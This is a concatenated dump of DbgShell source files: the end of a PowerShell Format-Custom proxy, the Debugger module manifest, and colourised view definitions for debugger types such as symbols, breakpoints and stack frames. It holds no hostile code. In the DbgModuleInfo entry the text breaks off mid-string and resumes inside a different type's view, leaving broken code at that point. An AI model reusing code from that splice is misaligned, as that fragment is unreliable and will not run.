$currentSteppablePipeline.End() $global:HostSupportsColor = $originalColorSupport } $private:fullCmdName = 'Debugger\Format-AltCustom' $private:formatCmd = $ExecutionContext.InvokeCommand.GetCommand( $fullCmdName, [System.Management.Automation.CommandTypes]::All ) [void] $PSBoundParameters.Remove( 'FormatInfo' ) # in case it was explicitly passed. $private:scriptCmd = { & $formatCmd -FormatInfo ${_formatInfo} @PSBoundParameters } $currentSteppablePipeline = $scriptCmd.GetSteppablePipeline( $myInvocation.CommandOrigin ) $currentSteppablePipeline.Begin( $PSCmdlet ) } } # TODO: Assert $null -ne $currentSteppablePipeline $private:currentCustomViewDef = ${_formatInfo} if( $bindUsingInputObject ) { $currentSteppablePipeline.Process( $null ) } else { $currentSteppablePipeline.Process( $objToDealWith ) } } # end if( !$skipNormalFormatting ) if( ($null -ne $enumerable) -and ($Expand -eq 'Both') ) { if( $null -ne $currentSteppablePipeline ) { # We need to end this first. The built-in Out-Default does not like to # be recursive, and if we wait until after we do the enumeration to # end this pipeline, when we end the Out-Default, it sends out some # GroupEnd and FormatEnd formatting objects, and they get unhappy. $currentSteppablePipeline.End() $currentSteppablePipeline = $null } # The built-in F+O counts how many objects in the enumerable to put into this message. Why do that? "`nThe IEnumerable contains the following objects:`n" #foreach( $eItem in $enumerable ) #{ # $PSBoundParameters[ 'InputObject' ] = $eItem # $PSBoundParameters[ 'Expand' ] = 'CoreOnly' # Format-Custom @PSBoundParameters #} [void] $PSBoundParameters.Remove( 'InputObject' ) $PSBoundParameters[ 'Expand' ] = 'CoreOnly' Enumerate $enumerable | Format-Custom @PSBoundParameters } # end if( $enumerable ) } catch { $e = $_ [System.Console]::WriteLine( "OH NOES (Format-Custom process): $e" ) $global:HostSupportsColor = $originalColorSupport throw } finally { } } # end 'process' block end { try { if( $null -ne $currentSteppablePipeline ) { $currentSteppablePipeline.End() } } catch { $e = $_ [System.Console]::WriteLine( "OH NOES (Format-Custom end): $e" ) throw } finally { $global:HostSupportsColor = $originalColorSupport } } # end 'end' block <# .ForwardHelpTargetName Format-Custom .ForwardHelpCategory Cmdlet #> } # end Format-Custom proxy ================================================ FILE: DbgShell/x86/Debugger/Debugger.psd1 ================================================ # # Module manifest for module 'Debugger' # @{ # Script module or binary module file associated with this manifest RootModule = 'DbgProvider.dll' # Version number of this module. ModuleVersion = '0.6' # ID used to uniquely identify this module GUID = '9fc4e260-6dbc-4546-8846-09549c766513' # Author of this module Author = 'Microsoft Corporation' # Company or vendor of this module CompanyName = 'Microsoft Corporation' # Copyright statement for this module Copyright = '(c) Microsoft Corporation. All rights reserved.' # Minimum version of the Windows PowerShell engine required by this module PowerShellVersion = '4.0' # Name of the Windows PowerShell host required by this module PowerShellHostName = '' # Minimum version of the Windows PowerShell host required by this module PowerShellHostVersion = '' # Minimum version of the .NET Framework required by this module DotNetFrameworkVersion = '4.5' # Minimum version of the common language runtime (CLR) required by this module CLRVersion = '4.0' # Processor architecture (None, X86, Amd64, IA64) required by this module ProcessorArchitecture = '' # Modules that must be imported into the global environment prior to importing this module RequiredModules = @() # Assemblies that must be loaded prior to importing this module RequiredAssemblies = @( 'DbgEngWrapper.dll', 'Microsoft.Diagnostics.Runtime.dll' ) # Script files (.ps1) that are run in the caller's environment prior to importing this module ScriptsToProcess = @() # Type files (.ps1xml) to be loaded when importing this module TypesToProcess = @() # Format files (.ps1xml) to be loaded when importing this module #FormatsToProcess = @( 'Debugger.Format.ps1xml' ) # TODO: I tried having the two format files co-exist: pointing to the 'vanilla' one from here, # and having the custom shell call Update-FormatData with the color one. No worky... seems # the 'vanilla' formatting data always got used. So I'll probably need to generate a whole # separate module for 'vanilla' hosts. FormatsToProcess = @( 'Debugger.Format.Color.ps1xml' ) # Modules to import as nested modules of the module specified in ModuleToProcess NestedModules = @( 'Debugger.Formatting.psm1', 'Debugger.psm1' ) # Functions to export from this module FunctionsToExport = '*' # Cmdlets to export from this module CmdletsToExport = '*' # Variables to export from this module VariablesToExport = '*' # Aliases to export from this module AliasesToExport = '*' # List of all modules packaged with this module ModuleList = @() # List of all files packaged with this module FileList = @() # Private data to pass to the module specified in ModuleToProcess PrivateData = '' # HelpInfo URI of this module #HelpInfoURI = 'http://go.microsoft.com/fwlink/?LinkId=216168' } ================================================ FILE: DbgShell/x86/Debugger/Debugger.psfmt ================================================ # # This file defines format view definitions for various types used by the # Debugger module, for use by the alternate formatting engine. # # Format definitions are analogous to the entries in a .ps1xml, except # they are consumed by our alternate formatting engine, not the built-in # PowerShell formatting engine. # Register-AltTypeFormatEntries { # We keep private, shared functions in FmtUtils.ps1. If you have a script block that # needs to use them, be sure to use -CaptureContext, else they won't be available when # the script block is run. . "$PSScriptRoot\FmtUtils.ps1" New-AltTypeFormatEntry -TypeName 'MS.Dbg.DbgSymbol' { New-AltTableViewDefinition -ShowIndex { New-AltColumns { New-AltScriptColumn -Label 'Name' -Width 25 -Alignment Left -Script { if( $_.get_IsValueUnavailable() ) { # This 'dims' symbol names whose values aren't available. New-ColorString -Content $_.get_Name() -Foreground DarkGray } else { $_.get_Name() } } # I'm not sure if this 'BasicType' stuff is really useful for anything # New-AltScriptColumn -Label 'BasicType' -Width 10 -Alignment Center -Script { # $_.Type.BasicType # } New-AltScriptColumn -Label 'Type' -Width 25 -Alignment Left -Script { Get-TypeName( $_ ) } -CaptureContext # DbgProvider can use the 'Address' tag to find columns that it # wants to resize depending on target address width. New-AltScriptColumn -Label 'Location' -Width 10 -Alignment Center -Tag 'Address' -Script { if( $_.get_IsValueUnavailable() ) { if( $_.get_IsMetadataUnavailable() ) { New-ColorString -Content " - " -Foreground Blue } else { assert $_.get_IsMemoryUnavailable() Format-DbgAddress $_.get_Address() -DefaultFgColor Yellow } } elseif( $_.get_IsValueInRegister() ) { New-ColorString -Foreground Cyan -Content ("@" + $_.get_Register().get_Name()) } elseif( $_.get_IsConstant() ) { New-ColorString -Content "constant" -Foreground Blue } else { Format-DbgAddress $_.get_Address() } } New-AltScriptColumn -Label 'Size' -Width 8 -Alignment Left -Script { if( $_.get_IsValueUnavailable() ) { '' } else { $size = $_.get_Type().get_Size() if( 0 -eq $size ) { New-ColorString -Foreground DarkGray -Content '0' } else { [string]::Format( "0x{0:x}", $size ) } } } New-AltScriptColumn -Label 'Value' -Alignment Left -Script { # I'm torn on this... but I think it's nicer to just leave # it empty when the value isn't available--looks cleaner. #Summarize-SymValue -InputObject $_.get_Value() if( $_.get_IsValueUnavailable() ) { '' } else { Format-AltSingleLine -InputObject $_.get_Value() } } } # End Columns } # end Table view New-AltListViewDefinition -ListItems { New-AltPropertyListItem -PropertyName 'Name' New-AltPropertyListItem -PropertyName 'IsValueUnavailable' New-AltScriptListItem -Label 'Location' -Script { if( $_.get_IsValueUnavailable() ) { if( $_.get_IsMetadataUnavailable() ) { New-ColorString -Content " - " -Foreground Blue } else { assert $_.get_IsMemoryUnavailable() Format-DbgAddress $_.get_Address() -DefaultFgColor Yellow } } elseif( $_.get_IsValueInRegister() ) { New-ColorString -Foreground Cyan -Content ("@" + $_.get_Register().get_Name()) } elseif( $_.get_IsConstant() ) { New-ColorString -Content "constant" -Foreground Blue } else { Format-DbgAddress $_.get_Address() } } New-AltPropertyListItem -PropertyName 'Module' New-AltScriptListItem -Label 'Type' -Script { if( $null -eq $_.get_Type() ) { New-ColorString -Foreground Yellow -Content "{}" } else { "{" + $_.get_Type().get_Name() + ", size 0x" + $_.get_Type().get_Size().ToString( "x" ) + "}" } } New-AltScriptListItem -Label 'Children' -Script { if( $_.get_IsValueUnavailable() ) { New-ColorString -Content " - " -Foreground Blue } else { $_.get_Children().Count } } New-AltScriptListItem -Label 'PathString' -Script { if( $_.get_IsValueUnavailable() ) { New-ColorString -Content " - " -Foreground Blue } else { $_.get_PathString() } } New-AltScriptListItem -Label 'Value' -Script { # I'm torn on this... but I think it's nicer to just leave # it empty when the value isn't available--looks cleaner. #Summarize-SymValue -InputObject $_.get_Value() if( $_.get_IsValueUnavailable() ) { '' } else { Format-AltSingleLine -InputObject $_.get_Value() } } } # end List view } # end Type MS.Dbg.DbgSymbol New-AltTypeFormatEntry -TypeName 'MS.Dbg.DbgEventArgs' { New-AltCustomViewDefinition { $_.get_Message() } # end AltCustomViewDefinition } # end Type MS.Dbg.DbgEventArgs New-AltTypeFormatEntry -TypeName 'MS.Dbg.DbgEngineEventFilter' { New-AltTableViewDefinition { New-AltColumns { New-AltScriptColumn -Label 'FriendlyName' -Width 20 -Alignment Right -Script { if( $_.get_ExecutionOption() -eq 'BREAK' ) { (New-ColorString).AppendPushFgBg( [ConsoleColor]::White, [ConsoleColor]::DarkRed ).Append( $_.get_FriendlyName() ) } else { $_.get_FriendlyName() } } New-AltPropertyColumn -PropertyName 'Name' -Width 6 -Alignment Center New-AltScriptColumn -Label 'Exec. Option' -Width 12 -Alignment Center -Script { $content = $_.get_ExecutionOption().ToString() switch( $_.ExecutionOption ) { 'BREAK' { (New-ColorString).AppendPop().Append( (New-ColorString -Foreground Red -Content 'BREAK') ) } 'IGNORE' { New-ColorString -Foreground Blue -Content 'Ignore' } 'OUTPUT' { New-ColorString -Foreground Cyan -Content 'Output' } default { $_.ExecutionOption } } } New-AltPropertyColumn -PropertyName 'ContinueOption' -Label 'Cont. Option' -Width 16 -Alignment Left New-AltPropertyColumn -PropertyName 'Argument' -Width 26 -Alignment Left New-AltPropertyColumn -PropertyName 'Command' -Alignment Left } # End Columns } # end Table view } # end Type MS.Dbg.DbgEngineEventFilter New-AltTypeFormatEntry -TypeName 'MS.Dbg.DbgExceptionEventFilter' { New-AltTableViewDefinition { New-AltColumns { #New-AltPropertyColumn -PropertyName 'FriendlyName' -Width 30 -Alignment Left New-AltScriptColumn -Label 'FriendlyName' -Width 30 -Alignment Left -Script { if( $_.get_ExecutionOption() -eq 'BREAK' ) { (New-ColorString).AppendPushFgBg( [ConsoleColor]::White, [ConsoleColor]::DarkRed ).Append( $_.get_FriendlyName() ) } elseif( $_.ExecutionOption -eq 'SECOND_CHANCE_BREAK' ) { (New-ColorString).AppendPushFgBg( [ConsoleColor]::White, [ConsoleColor]::DarkYellow ).Append( $_.get_FriendlyName() ) } else { # I don't have a conditional POP where I want the # background color to go back to default, so I need to # a do a PUSH here too. (New-ColorString).AppendPush().Append( $_.get_FriendlyName() ) } } New-AltPropertyColumn -PropertyName 'Name' -Width 6 -Alignment Center New-AltPropertyColumn -PropertyName 'ExceptionCode' -Label 'Code' -Width 10 -Alignment Center -FormatString ((New-ColorString -Content '[{0:x8}]').AppendPop()) New-AltScriptColumn -Label 'Exec. Option' -Width 12 -Alignment Center -Script { $content = $_.get_ExecutionOption().ToString() switch( $_.ExecutionOption ) { 'SECOND_CHANCE_BREAK' { New-ColorString -Foreground Yellow -Content "2nd-Chance" } 'BREAK' { New-ColorString -Foreground Red -Content 'BREAK' } 'IGNORE' { New-ColorString -Foreground Blue -Content 'Ignore' } default { $_.ExecutionOption } } } New-AltPropertyColumn -PropertyName 'ContinueOption' -Label 'Cont. Option' -Width 16 -Alignment Left New-AltPropertyColumn -PropertyName 'Command' -Alignment Left New-AltPropertyColumn -PropertyName 'SecondCommand' -Alignment Left } # End Columns } # end Table view } # end Type MS.Dbg.DbgExceptionEventFilter New-AltTypeFormatEntry -TypeName 'MS.Dbg.DbgBreakpointInfo' { New-AltTableViewDefinition { New-AltColumns { # N.B. To access these variables from a script block, you'll # need to "capture" them using -CaptureContext. $enabled = New-ColorString -Foreground Green -Content "E" $enabledDeferred = New-ColorString -Foreground Yellow -Content "e" $disabled = New-ColorString -Foreground Magenta -Content "d" $disabledDeferred = New-ColorString -Foreground Red -Content "D" New-AltPropertyColumn -PropertyName 'Id' -Width 4 -Alignment Right New-AltScriptColumn -Label 'Status' -Width 6 -Alignment Center -Script { if( $_.get_IsEnabled() ) { if( $_.get_IsDeferred() ) { $enabledDeferred } else { $enabled } } else { if( $_.get_IsDeferred() ) { $disabledDeferred } else { $disabled } } } -CaptureContext New-AltScriptColumn -Label 'Offset' -Width 10 -Alignment Center -Tag 'Address' -Script { if( $_.get_Offset() -eq [UInt64]::MaxValue ) { return New-ColorString -Foreground DarkRed -Content "-----" } Format-DbgAddress $_.get_Offset() } New-AltScriptColumn -Label 'PassCount' -Width 9 -Alignment Center -Script { [string]::Format( "{0}/{1}", $_.get_NativeParams().CurrentPassCount, $_.NativeParams.PassCount ) } New-AltScriptColumn -Label 'MatchThread' -Width 11 -Alignment Center -Script { if( $_.get_NativeParams().MatchThread -eq 4294967295 ) { if( $_.get_Flags().HasFlag( [Microsoft.Diagnostics.Runtime.Interop.DEBUG_BREAKPOINT_FLAG]::DEFERRED ) ) { New-ColorString -Foreground Yellow -Content '-' } else { '***' } } else { $_.NativeParams.MatchThread.ToString( 'x' ) # TODO: is this an address or an id or what? i think for user mode it's the tid } } New-AltScriptColumn -Label 'Symbol' -Alignment Left -Script { if( $_.get_Flags().HasFlag( [Microsoft.Diagnostics.Runtime.Interop.DEBUG_BREAKPOINT_FLAG]::DEFERRED ) ) { New-ColorString -Foreground Yellow -Content ([string]::Format( "({0})", $_.get_SymbolicName() )) } else { $_.get_SymbolicName() } } New-AltScriptColumn -Label 'Command' -Alignment Left -Script { $sbc = $_.get_ScriptBlockCommand() if( $null -ne $sbc ) { # TODO: Would be nice to colorize the same that PSReadLine would. $str = $sbc.ToString().Trim() -replace "`n[ ]*", " \ " (New-ColorString -Content 'PS> ' -Fore Cyan).Append( $str ) } else { $dbgEngCmd = $_.get_DbgEngCommand() if( $dbgEngCmd ) { (New-ColorString -Content '(dbgeng) ' -Fore DarkGray).Append( $dbgEngCmd ) } else { '' } } } New-AltTableFooter -Alignment Center -Script { (New-ColorString -Background Cyan -Foreground Black -Content 'Legend:'). Append( ' ' ). Append( $enabled ). Append( ': Enabled, ' ). Append( $enabledDeferred ). Append( ': Enabled but deferred, ' ). Append( $disabled ). Append( ': Disabled, ' ). Append( $disabledDeferred ). Append( ': Disabled and deferred' ) } -CaptureContext } # End Columns } # end Table view } # end Type MS.Dbg.DbgBreakpointInfo New-AltTypeFormatEntry -TypeName 'MS.Dbg.DbgModuleInfo' { function GetModName( $m ) { $name = $m.get_Name() if( !$name.StartsWith( '" ) } else { $cs = $cs.Append( ($_.get_Teb() | Format-AltSingleLine) ) } $cs } -CaptureContext # end single-line view } # end Type MS.Dbg.DbgUModeThreadInfo New-AltTypeFormatEntry -TypeName 'MS.Dbg.DbgStackInfo' { New-AltCustomViewDefinition { # $currentThread = $_.Debugger.GetCurrentThread() # $eventThread = $_.Debugger.GetEventThread() # $marker = " " # if( $currentThread -eq $_.get_Thread() ) # { # $marker = " . " # } # elseif( $eventThread -eq $_.Thread ) # { # $marker = " # " # } # '' # blank line # [string]::Format( "{0} {1} Pid/Tid: {2:x}.{3:x}", # $marker, # $_.Thread.Debuggerid, # # BUGBUG: Need to get the OS process ID for the thread, not current # $_.Debugger.GetProcessSystemId(), # $_.Thread.Tid ) # TODO: other thread info? # '' # blank line [int] $frameNum = 0 foreach( $frame in $_.EnumerateStackFrames() ) { # TODO: What to do about frames that are longer than the # console width? Right now thwy are getting wrapped, using # word-breaking, which looks fairly bad (because there are such # long stretches with no good place to break). Maybe we should # auto-truncate (and add "...")? But then maybe info is lost... # so maybe we want to do our own wrapping? Hmm... this bears # more consideration. #[string]::Format( '{0:x2} {1}', $frameNum, $frame ) (New-ColorString -Content ([string]::Format( '{0:x2} ', $frameNum ))).Append( $frame.ToColorString() ) $frameNum = $frameNum + 1 } } # end AltCustomViewDefinition } # end Type MS.Dbg.DbgStackInfo New-AltTypeFormatEntry -TypeName 'MS.Dbg.DbgStackFrameInfo' { New-AltListViewDefinition -ListItems { New-AltScriptListItem -Label 'FrameNumber' { Format-AltSingleLine -InputObject $_.get_FrameNumber() } New-AltScriptListItem -Label 'SymbolName' { [MS.Dbg.DbgProvider]::ColorizeSymbol( $_.get_SymbolName() ) } New-AltScriptListItem -Label 'Displacement' { Format-AltSingleLine -InputObject $_.get_Displacement() } New-AltPropertyListItem -PropertyName 'IsFrameInline' New-AltScriptListItem -Label 'ReturnAddress' { if( $_.IsFrameInline ) { if( $Debugger.TargetIs32Bit ) { New-ColorString -Content '--------' -Fore DarkGray } else { New-ColorString -Content '--------`--------' -Fore DarkGray } } else { Format-DbgAddress $_.get_ReturnAddress() } } New-AltScriptListItem -Label 'InstructionPointer' { Format-DbgAddress $_.get_InstructionPointer() } New-AltScriptListItem -Label 'StackPointer' { if( $_.IsFrameInline ) { New-ColorString -Content '(Inline Function)' -Fore DarkGray } else { Format-DbgAddress $_.get_StackPointer() } } New-AltPropertyListItem -PropertyName 'Module' New-AltPropertyListItem -PropertyName 'Function' New-AltPropertyListItem -PropertyName 'Caller' New-AltPropertyListItem -PropertyName 'Callee' New-AltPropertyListItem -PropertyName 'Context' New-AltPropertyListItem -PropertyName 'Path' New-AltPropertyListItem -PropertyName 'NativeFrameEx' New-AltScriptListItem -Label 'RegisterSet' { $_.get_RegisterSet().ToColorString() } } # end List view New-AltTableViewDefinition -ShowIndex { New-AltColumns { New-AltScriptColumn -Label 'Child-SP' -Width 17 -Alignment Left -Tag 'Address' -Script { if( $_.IsFrameInline ) { if( $Debugger.TargetIs32Bit ) { New-ColorString -Content '(Inline)' -Fore DarkGray } else { New-ColorString -Content '(Inline Function)' -Fore DarkGray } } else { Format-DbgAddress $_.get_StackPointer() } } New-AltScriptColumn -Label 'RetAddr' -Width 17 -Alignment Left -Tag 'Address' -Script { if( $_.IsFrameInline ) { if( $Debugger.TargetIs32Bit ) { New-ColorString -Content '--------' -Fore DarkGray } else { New-ColorString -Content '--------`--------' -Fore DarkGray } } else { Format-DbgAddress $_.get_ReturnAddress() } } New-AltScriptColumn -Label 'Call Site' -Alignment Left -Script { $_.ToColorString() } } # End Columns } # end Table view } # end Type MS.Dbg.DbgStackFrameInfo New-AltTypeFormatEntry -TypeName 'MS.Dbg.DbgFieldInfo' { New-AltTableViewDefinition { New-AltColumns { # TODO: If it's a static, the offset should display differently New-AltPropertyColumn -PropertyName 'Offset' -Width 10 -Alignment Right -FormatString '+0x{0:x3}' New-AltPropertyColumn -PropertyName 'Name' -Width 30 -Alignment Left New-AltScriptColumn -Label 'Type' -Width 35 -Alignment Left -Script { Get-TypeName( $_ ) } -CaptureContext New-AltPropertyColumn -PropertyName 'Size' -Width 7 -Alignment Left -FormatString '0x{0:x}' # N.B. To access these variables from a script block, you'll # need to "capture" them using -CaptureContext. $StaticFlag = New-ColorString -Foreground DarkYellow -Content "S" $ConstantFlag = New-ColorString -Foreground DarkCyan -Content "C" $ArrayFlag = New-ColorString -Foreground DarkGreen -Content "A" $PointerFlag = New-ColorString -Foreground DarkMagenta -Content "P" New-AltScriptColumn -Label 'Flags' -Alignment Center -Width 5 -Script { $cs = New-ColorString -Content '' [bool] $haveFlag = $false if( $_.get_IsStatic() ) { $cs = $cs.Append( $StaticFlag ) $haveFlag = $true } else { $cs = $cs.Append( ' ' ) } if( $_.get_IsConstant() ) { $cs = $cs.Append( $ConstantFlag ) $haveFlag = $true } else { $cs = $cs.Append( ' ' ) } if( $_.get_IsArray() ) { $cs = $cs.Append( $ArrayFlag ) $haveFlag = $true } else { $cs = $cs.Append( ' ' ) } if( $_.get_IsPointer() ) { $cs = $cs.Append( $PointerFlag ) $haveFlag = $true } else { $cs = $cs.Append( ' ' ) } if( !$haveFlag ) { $cs = New-ColorString -Foreground DarkBlue -Content '-' } $cs } -CaptureContext # N.B. Closure required to get $StaticFlag, et al. New-AltTableFooter -Alignment Center -Script { (New-ColorString -Background Cyan -Foreground Black -Content 'Flags legend:'). Append( ' ' ). Append( $StaticFlag ). Append( ': Static, ' ). Append( $ConstantFlag ). Append( ': Constant, ' ). Append( $ArrayFlag ). Append( ': Array, ' ). Append( $PointerFlag ). Append( ': Pointer' ) } -CaptureContext # N.B. Closure required to get $StaticFlag, et al. } # End Columns } # end Table view New-AltListViewDefinition -ListItems { New-AltPropertyListItem -PropertyName 'Name' # TODO: If it's a static, the offset should display differently New-AltPropertyListItem -PropertyName 'Offset' -FormatString '+0x{0:x3}' New-AltScriptListItem -Label 'Type' -Script { Get-TypeName( $_ ) } -CaptureContext New-AltPropertyListItem -PropertyName 'Size' -FormatString '0x{0:x}' New-AltScriptListItem -Label 'Flags' -Script { $cs = New-ColorString -Content '' if( $_.get_IsStatic() ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::DarkYellow, "Static " ) } if( $_.get_IsConstant() ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::DarkCyan, "Constant " ) } if( $_.get_IsArray() ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::DarkGreen, "Array " ) } if( $_.get_IsPointer() ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::DarkMagenta, "Pointer " ) } if( $cs.get_Length() -eq 0 ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::DarkBlue, "(none)" ) } $cs } } # end list view } # end Type MS.Dbg.DbgFieldInfo New-AltTypeFormatEntry -TypeName 'Microsoft.Diagnostics.Runtime.Interop.DEBUG_SYMBOL_ENTRY' { New-AltListViewDefinition -ListItems { New-AltScriptListItem -Label 'ModuleBase' -Script { Format-DbgAddress $_.ModuleBase } New-AltScriptListItem -Label 'Address' -Script { Format-DbgAddress $_.Offset } New-AltPropertyListItem -PropertyName 'Id' -FormatString '0x{0:x}' New-AltPropertyListItem -PropertyName 'Size' -FormatString '0x{0:x}' New-AltPropertyListItem -PropertyName 'TypeId' -FormatString '0x{0:x}' New-AltPropertyListItem -PropertyName 'Token' New-AltPropertyListItem -PropertyName 'Arg64' -FormatString '0x{0:x}' New-AltPropertyListItem -PropertyName 'Arg32' -FormatString '0x{0:x}' New-AltPropertyListItem -PropertyName 'Tag' } # end list view } # end Type MS.Dbg.DEBUG_SYMBOL_ENTRY # TODO: Need to have a special function/cmdlet/something for displaying symbol values, which can nest/recurse. New-AltTypeFormatEntry -TypeName 'MS.Dbg.DbgUdtValue' { New-AltCustomViewDefinition { $sym = $_.DbgGetSymbol() [bool] $truncate = [string]::IsNullOrEmpty( [Environment]::GetEnvironmentVariable( 'DbgShell_DontTruncateUdtView' ) ) [int] $truncWidth = $Host.UI.RawUI.BufferSize.Width - 1 <# I think this name stuff is too much... you probably just typed the name. On the other hand, maybe you /didn't/ just type the name--maybe you did something like "$locals[11].Value", or some other scripty thing. Hm... what to do, what to do... #> $cs = New-ColorString -Content 'Name: ' $cs = $cs.AppendPushPopFgBg( [ConsoleColor]::Black, [ConsoleColor]::DarkCyan, $sym.get_Name() ) if( $sym.get_NonDerefPathElements() -gt 1 ) { # Sometimes the PathString gets really long (like when we've been # iterating through a std::forward_list: "...->_Next->_Next->_Next->_Next->_Next->...". # So we'll truncate it, but trim from the center, so you can see both the # beginning and the end of the path. $widthLeft = $Host.UI.RawUI.BufferSize.Width - $cs.Length - 1 $pathCs = (New-ColorString -Content ' '). AppendPushFg( [ConsoleColor]::DarkGray ). Append( $sym.PathString ). Append( ')' ). AppendPop() $pathCs = [MS.Dbg.ColorString]::Truncate( $pathCs, $widthLeft, $true, 'Center' ) $null = $cs.Append( $pathCs ) } if( $sym -is [MS.Dbg.DbgLocalSymbol] ) { $cs = $cs.AppendLine().AppendPushPopFg( [ConsoleColor]::Blue, 'Local UDT @ ' ) } else { $cs = $cs.AppendLine().AppendPushPopFg( [ConsoleColor]::Blue, 'UDT @ ' ) } if( $sym.get_IsValueInRegister() ) { $cs = $cs.Append( (New-ColorString -Foreground Cyan -Content ('@' + $sym.get_Register().get_Name())) ) } else { $cs = $cs.Append( (Format-DbgAddress $sym.get_Address() $sym.Debugger) ) } [bool] $symbolWasTransformed = $_.DbgGetSymbol() -ne $_.DbgGetOperativeSymbol() # This is a little weird, as right now, the operative type is already # displayed on the line above. Do I want to put that back the way it was? function AppendSymbolHistoryStuff() { $detectedTypeSym = $_.DbgGetOperativeSymbol() <# assert #> if( $detectedTypeSym -eq $_.DbgGetSymbol() ) { throw "Assert: no derived type detected?" } # It gets a little too crazy trying to display the entire symbol transformation # history for more than a simple case... let's just direct users to take a look # themselves. $history = $_.DbgGetSymbolHistory() if( ($history.Count -gt 2) -or ($history[ 1 ] -isnot [MS.Dbg.DtdRecord]) ) { $cs = $cs.Append( 'Displayed object is ' ). AppendPushPopFg( [ConsoleColor]::Yellow, 'type: ' ). Append( (Format-DbgTypeName $detectedTypeSym.Type.Name) ). Append( ' ' ). AppendPushPopFgBg( [ConsoleColor]::Black, [ConsoleColor]::Blue, '(see symbol history)' ) } else { Assert ($history[ 1 ] -is [MS.Dbg.DtdRecord]) $cs = $cs.Append( 'Detected ' ). AppendPushPopFg( [ConsoleColor]::Yellow, 'derived' ). Append( ' type ' ). Append( (Format-DbgTypeName $detectedTypeSym.Type.Name) ) $offset = (([Int64] $detectedTypeSym.Address) - ([Int64] $sym.Address)) if( $offset -ne 0 ) { $sign = '+' if( $offset -lt 0 ) { $sign = '-' $offset = [Math]::Abs( $offset ) } $csSuffix = New-ColorString -Fore Black ` -Back Yellow ` -Content ([String]::Format( '{0}0x{1:x}', $sign, $offset )) $cs = $cs.Append( ', at offset ' ). Append( $csSuffix ) } } } # end function AppendSymbolHistoryStuff # If there is a single-line view definition for this object, let's # use that to display a nice "summary" of the value. If not, we'll # just display the type. (We don't want to do both, because usually # the single-line view includes the type, and we don't want the # redundant info.) $slfi = Get-AltTypeFormatEntry -InputObject $_ -FormatInfoType MS.Dbg.Formatting.AltSingleLineViewDefinition | Select-Object -First 1 if( ($null -ne $slfi) -and !$sym.IsValueUnavailable ) { if( $symbolWasTransformed ) { # But if we detected a derived type, let's still let the user know. # assert $sym is not in a register $cs = $cs.Append( ' (' ) AppendSymbolHistoryStuff $cs = $cs.Append( ')' ) } $cs = $cs.Append( ': ' ).Append( (Format-AltSingleLine -InputObject $_ -View $slfi) ) } else { if( $symbolWasTransformed ) { $cs = $cs.Append( ' ' ) AppendSymbolHistoryStuff } else { $cs = $cs.Append( ' Type ' ).Append( (Format-DbgTypeName $sym.get_Type().get_Name()) ) } } assert (!$sym.get_IsPointer()) # if it were a pointer, it would be a DbgPointerValue, not a DbgUdtValue $cs # # (done with the 'header') # $statics = $null $members = New-Object System.Collections.Generic.List[System.Management.Automation.PSPropertyInfo] $dynamicProps = $null foreach( $prop in $_.PSObject.Properties ) { if( $null -eq (Get-Member -Name 'FieldInfo' -InputObject $prop) ) { # This was something stuck onto the symbol value by a symbol value # conversion script; not something that is actually a member of the # variable (it's not something you would see in windbg--it has no # offset, etc.). if( !$dynamicProps ) { $dynamicProps = New-Object System.Collections.Generic.List[System.Management.Automation.PSPropertyInfo] } $dynamicProps.Add( $prop ) continue } # TODO: Put an IsStatic property back on... this is ugly if( $prop.get_FieldInfo().IsStatic ) { if( !$statics ) { $statics = New-Object System.Collections.Generic.List[System.Management.Automation.PSPropertyInfo] } $statics.Add( $prop ) continue } $members.Add( $prop ) } # end foreach( property ) if( $statics -and ($statics.Count -gt 0) ) { New-ColorString -Content 'Statics:' -Foreground Cyan foreach( $static in $statics ) { $cs = New-ColorString -Content ' =' if( $static.get_Symbol().IsValueUnavailable ) { #TODO: Debug this $cs = $cs.Append( 'BUG: How could a static not be available? ' ) $cs = $cs.Append( $static.FieldInfo.Name ) $cs continue } $cs = $cs.Append( (Format-DbgAddress $static.Symbol.Address $static.Symbol.Debugger) ).Append( ' ' ) $cs = $cs.Append( (Pad $static.FieldInfo.Name 29) ).Append( ' : ' ) try { $cs = $cs.Append( (Summarize-SymValue $static.get_Value()) ) } catch { $problem = $_ $cs = $cs.Append( (New-ColorString -Fore 'Red' -Content $problem.ToString()) ) } if( $truncate ) { [MS.Dbg.ColorString]::Truncate( $cs, $truncWidth ) } else { $cs } } # end foreach( static ) } # end if( there are statics to display ) if( $members.Count -gt 0 ) { if( $statics -and ($statics.Count -gt 0) ) { # We only need to have this label if there are statics preceding the members. New-ColorString -Content 'Members:' -Foreground Cyan } foreach( $mem in $members ) { if( $mem.get_Symbol().IsValueUnavailable ) { $cs = $cs.Append( $mem.FieldInfo.Name ) $cs continue } $cs = New-ColorString -Content ' +0x' $cs = $cs.Append( $mem.FieldInfo.Offset.ToString( "x3" ) ).Append( ' ' ) $cs = $cs.Append( (Pad $mem.FieldInfo.Name 29) ).Append( ' : ' ) try { $cs = $cs.Append( (Summarize-SymValue $mem.get_Value()) ) } catch { $problem = $_ $cs = $cs.Append( (New-ColorString -Fore 'Red' -Content $problem.ToString()) ) } if( $truncate ) { [MS.Dbg.ColorString]::Truncate( $cs, $truncWidth ) } else { $cs } } # end foreach( member ) } # end if( there are members to display ) if( $dynamicProps -and ($dynamicProps.Count -gt 0) ) { New-ColorString -Content 'Synthetic (debugger-generated) properties:' -Foreground Cyan foreach( $mem in $dynamicProps ) { $cs = New-ColorString -Content ' ' $cs = $cs.Append( (Pad $mem.Name 36) ).Append( ' : ' ) try { $cs = $cs.Append( (Format-AltSingleLine -InputObject $mem.Value) ) } catch { $problem = $_ $cs = $cs.Append( (New-ColorString -Fore 'Red' -Content $problem.ToString()) ) } if( $truncate ) { [MS.Dbg.ColorString]::Truncate( $cs, $truncWidth ) } else { $cs } } # end foreach( member ) } # end if( there are dynamicProps to display ) } # end AltCustomViewDefinition } # end Type MS.Dbg.DbgUdtValue New-AltTypeFormatEntry -TypeName 'MS.Dbg.DbgPointerValue' { New-AltSingleLineViewDefinition { $_.ToColorString() } # end single-line view New-AltCustomViewDefinition { $sym = $_.DbgGetSymbol() if( $sym.IsThreadLocal ) { $cs = (New-ColorString -Foreground 'Blue' -Background 'White' -Content 'Pointer'). Append( ' ' ). AppendPushPopFgBg( [ConsoleColor]::Yellow, [ConsoleColor]::DarkBlue, 